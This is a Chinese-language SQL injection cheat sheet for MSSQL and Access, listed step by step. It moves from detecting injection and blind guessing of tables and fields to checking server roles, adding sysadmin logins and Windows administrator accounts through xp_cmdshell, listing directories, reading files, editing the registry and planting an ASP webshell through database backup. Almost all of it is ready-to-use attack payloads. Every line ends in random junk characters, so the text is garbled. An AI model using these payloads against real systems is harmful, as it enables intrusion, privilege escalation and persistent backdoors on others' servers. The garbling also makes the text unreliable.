1.判断是否有注入;and 1=1 ;and 1=2 *7),v+ET
2.初步判断是否是mssql ;and user>0 T )bMHk
#2%8@?_-M
3.注入参数是字符'and [查询条件] and ''=' *\^(-p~M
pK)!o
4.搜索时没过滤参数的'and [查询条件] and '%25'=' q[c^`5
F`o"t]AD-a
5.判断数据库系统 unyU|B
Qi|k,1A0
;and (select count(*) from sysobjects)>0 mssql y~wN:
yg"FF:^T
;and (select count(*) from msysobjects)>0 access Q>uJ:[x+
R)%I9M,
kuv+ TN
1z@{4)
6.猜数据库 ;and (select Count(*) from [数据库名])>0 S*H
@`Do%d
\_/dfmlIZ
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 MFqb_q+
P}
Y .
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 8[oZ>7LMzC
4"Mq]_D
9.(1)猜字段的ascii值(access) LKst
QP!I
B8zc#0!1
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 `bZgw
^C;ULUn3
(2)猜字段的ascii值(mssql) |43Oc:Ah+
i \@a&tw
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 D*ZswHT{y
"1hFx=W+\
10.测试权限结构(mssql) 'w_Qs~6~{
P@U2Q%\
l$C
Y
gm
_:!7M^IU
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- ;;Jx1Q
Pe`jNiI
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- `Yyi;!+0
`dIwBfg_
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- aO*v"^oF
KuMH,rXF
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- n{"a0O
U Fyk%#L
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- iO}KERfU
1}OM"V
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- @Z
Dd(xB&
i.e4<|{
;and 1=(select IS_MEMBER('db_owner'));-- I\|.WrMNi
cPX^4d~9
mH )i
Lg|]|,%e
11.添加mssql和系统的帐户 SxL/]jWR7
:13u{5:th
;exec master.dbo.sp_addlogin username;-- V/yj.aA*@
;exec master.dbo.sp_password null,username,password;-- Sea6xGdq
Nu+DVIM
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- z]!w@:
rf]x5%ij
;exec master.dbo.xp_cmdshell 'net user username password rg I Z
|]b,% ?,U
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- fRp(&%8E
X5=I{eY}
;exec master.dbo.xp_cmdshell 'net user username password /add';-- RJdijj
vHb^@z=
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- [iC]Wh%
.L.9e#?3
?B<.d8i
Myh?=:1~(c
12.(1)遍历目录 f\H1$q\p\
4j<[3~:0
o
;create table dirs(paths varchar(100), id int) 1eI_F8I U
@su!9 ]o
;insert dirs exec master.dbo.xp_dirtree 'c:\' l$m}aQ%h
7hT@,|(j
;and (select top 1 paths from dirs)>0 NdC5w-WY
j)#GoU=w
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) 0KjCM4t
}U|Vpgd!
mBQpf/PG
54oJMW9
(2)遍历目录 \og2\Oh&gH
TwKi_nh2m
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- =tl~@~pqI
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 r"dR}S.Uf
*TPWLR ^
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 Op hD_^
-:Bgp*S
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 9rT"_d#
A|yU'k
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 \!IEZ
P[jh^!<j
lz_ r
c-4z8T#M^
13.mssql中的存储过程 q&^H"
fF
6Ia[`xuL
xp_regenumvalues 注册表根键, 子键 3=%G{L16-
'30JJ0
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 w^}*<q\
2%)~E50U
xp_regread 根键,子键,键值名 chM-YuN|
gOy{ RE
;exec xp_regread o Va[
bl\;*.s'
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 :bXTV?#0
t|*UlTLm
xp_regwrite 根键,子键, 值名, 值类型, 值 G^#?~
[C@Ro,mI
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 3V<c4'O\W
2m9qg-W
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 VOT9cP^6
/buj(/q^#
xp_regdeletevalue 根键,子键,值名 nPH\Lra
;s#]."v_=
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 (N5"'`NZA
i*mI-l
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 Q+Eqaz`
=nlj|S ~3
^cuH\&&7
/'^BHA|h
14.mssql的backup创建webshell "tu*(>'~5
W!1
B~NH#
use model Ii>#9>!F
}d@;]cps
create table cmd(str image); S`vw<u4t
He&A>bA)z
insert into cmd(str) values (''); V>ZDJW"G!
u@Bgyt7Y
backup database model to disk='c:\l.asp'; .ZM0cwF
&"Fz)}
&LQfs4}a,
,2P/[ :
15.mssql内置函数 ^Zlbs
goZ
zR?1iV.]
;and (select @@version)>0 获得Windows的版本号 qipS`:TER
{vur9L
;and user_name()='dbo' 判断当前系统的连接用户是不是sa rym*W\AWx
#r]GnC,
;and (select user_name())>0 爆当前系统的连接用户 C}\kp0mz
!>Q{co'
;and (select db_name())>0 得到当前连接的数据库 D2zqDo<+;
wd1>L) T
SRrp=>w?
^[v>B@p*{
16.简洁的webshell lo36b zbT
P#"_H}qC*
use model T7N\b]?j@Y
,QLy}=N
create table cmd(str image); tR_DN
o_ r{cnu
insert into cmd(str) values (''); ^$<:~qq!
}{v0}-~@
backup database model to disk='g:\wwwtest\l.asp';